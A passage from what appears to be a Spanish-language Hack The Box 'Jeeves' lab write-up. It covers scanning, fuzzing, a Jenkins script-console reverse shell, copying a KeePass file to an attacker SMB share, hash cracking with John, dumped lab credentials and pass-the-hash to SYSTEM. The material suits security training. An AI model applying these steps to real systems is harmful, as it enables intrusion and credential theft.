&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; JEEVES; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m03s, deviation&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 0s, median&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m02s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;33742&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23387&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;64279&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23548&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; disabled (dangerous, but &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos dos puertos web principales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 80 (IIS):&lt;/strong&gt; Muestra una página de búsqueda &amp;ldquo;Ask Jeeves&amp;rdquo; que da error al intentar buscar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8045-baae-ebf91399148f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-844b-e8a97c7226e5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 50000 (Jetty):&lt;/strong&gt; Muestra un error 404 por defecto.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808a-b7d1-dbc791ca789d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Este error indica que hay un servidor web ejecutándose en tu puerto &lt;strong&gt;50000&lt;/strong&gt;, pero no hay ninguna página o contenido configurado en la raíz (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/FUZZ ---- NO ENCONTRAMOS NADA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;/FUZZ ---- askjeeves [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;302&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 54ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="acceso-inicial-jenkins"&gt;Acceso Inicial (Jenkins)&lt;/h2&gt;
&lt;p&gt;Al acceder a &lt;code&gt;http://10.129.79.44/askjeeves&lt;/code&gt;, encontramos un servidor de automatización &lt;strong&gt;Jenkins&lt;/strong&gt; (versión 2.87).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80ba-b41a-c5d84df3c4f0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-groovy-script-console"&gt;Explotación de Groovy Script Console&lt;/h3&gt;
&lt;p&gt;No se requieren credenciales. Podemos acceder a &lt;code&gt;Manage Jenkins&lt;/code&gt; -&amp;gt; &lt;code&gt;Script Console&lt;/code&gt;. Esta consola permite ejecutar scripts en &lt;strong&gt;Groovy&lt;/strong&gt;, lo cual equivale a ejecución de comandos en el sistema.&lt;/p&gt;
&lt;p&gt;Probamos una Reverse Shell en Groovy:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-802c-b812-df7729a7b505.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-a7ab-ed6d5d36e1e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Conseguimos acceso como el usuario: &lt;code&gt;jeeves\kohsuke&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.&lt;/p&gt;
&lt;p&gt;Enumerando el sistema de archivos de &lt;code&gt;kohsuke&lt;/code&gt;, encontramos un archivo interesante en el directorio ‘Documents’:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8030-9245-ef1c47ee0cde.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La extensión &lt;code&gt;.kdbx&lt;/code&gt; pertenece a &lt;strong&gt;KeePass&lt;/strong&gt;, que es un gestor de contraseñas de código abierto.&lt;/p&gt;
&lt;h2 id="post-explotación-y-movimiento-lateral"&gt;Post-Explotación y Movimiento Lateral&lt;/h2&gt;
&lt;h3 id="exfiltración-con-smbserver"&gt;Exfiltración con SMBServer&lt;/h3&gt;
&lt;p&gt;Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Kali (Atacante)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] User JEEVES\kohsuke authenticated successfully
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] kohsuke::JEEVES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aaaaaaaaaaaaaaaa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7507b33e1ec7eb5636215c53f6838840&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Connecting Share(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;share)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Windows (Víctima)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Users\kohsuke\Documents&amp;gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; file(s) copied.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-keepass"&gt;Cracking KeePass&lt;/h3&gt;
&lt;p&gt;Primero extraemos el hash del archivo &lt;code&gt;.kdbx&lt;/code&gt; y luego lo crackeamos con John the Ripper.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8033-bb0f-e4fbdc72c8b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; password hash (KeePass [SHA256 AES &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;moonshine1 (CEH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="inspección-de-credenciales-kpcli"&gt;Inspección de Credenciales (Kpcli)&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;kpcli&lt;/code&gt; para abrir la base de datos con la contraseña obtenida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8053-9abe-ddb5454c044d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos ver las credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8021-997f-cb72b82132d0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si las copiamos las tenemos en el copiapapeles.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Backup stuff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e0fb1fb85756c24235ff238cbe81fe00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show -p &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Unknown option&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; It&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s a secret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; F7WhTrSFDKB6sxHU1cUn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8180&lt;/span&gt;/secret.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Keys to the kingdom
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; bob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; lCEUnYPjNfIuPZSzOySA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="escalada-de-privilegios-pass-the-hash"&gt;Escalada de Privilegios (Pass The Hash)&lt;/h2&gt;
&lt;p&gt;El hash encontrado en &amp;ldquo;Backup stuff&amp;rdquo; es un hash NTLM. Podemos usar la técnica &lt;strong&gt;Pass The Hash (PtH)&lt;/strong&gt; para autenticarnos como Administrador sin saber la contraseña en texto claro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8028-bbf4-f8c0847fcca8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Obtenemos una shell como &lt;code&gt;nt authority\system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c1-b2d7-e85a480e1efb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pues parece que no hemos acabado …&lt;/p&gt;
&lt;h2 id="el-rabbit-hole-de-la-root-flag-ads"&gt;El &amp;ldquo;Rabbit Hole&amp;rdquo; de la Root Flag (ADS)&lt;/h2&gt;
&lt;p&gt;Al ir al directorio del Administrador (&lt;code&gt;C:\Users\Administrator\Desktop&lt;/code&gt;), encontramos un archivo &lt;code&gt;hm.txt&lt;/code&gt; pero &lt;strong&gt;no está la flag&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;root.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;hm.txt&lt;/code&gt;, nos da una pista sobre &amp;ldquo;mirar más profundo&amp;rdquo;. Esto hace referencia a los &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Concepto: ADS&lt;br&gt;
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805d-be76-ec4dda663a85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funcionan-los-ads"&gt;¿Cómo funcionan los ADS?&lt;/h3&gt;
&lt;p&gt;En un sistema NTFS, un archivo se identifica por el formato &lt;code&gt;nombre_archivo:nombre_stream&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flujo estándar:&lt;/strong&gt; Cuando abres &lt;code&gt;archivo.txt&lt;/code&gt;, en realidad estás abriendo &lt;code&gt;archivo.txt:$DATA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flujo alternativo:&lt;/strong&gt; Puedes crear algo como &lt;code&gt;archivo.txt:secreto.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="leer-el-contenido-del-flujo-oculto"&gt;Leer el contenido del flujo oculto&lt;/h3&gt;
&lt;p&gt;No se puede usar &lt;code&gt;type&lt;/code&gt; directamente sobre el stream. usamos el comando &lt;code&gt;more&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;more &amp;lt; hm.txt:root.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ahora si conseguimos la root flag!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>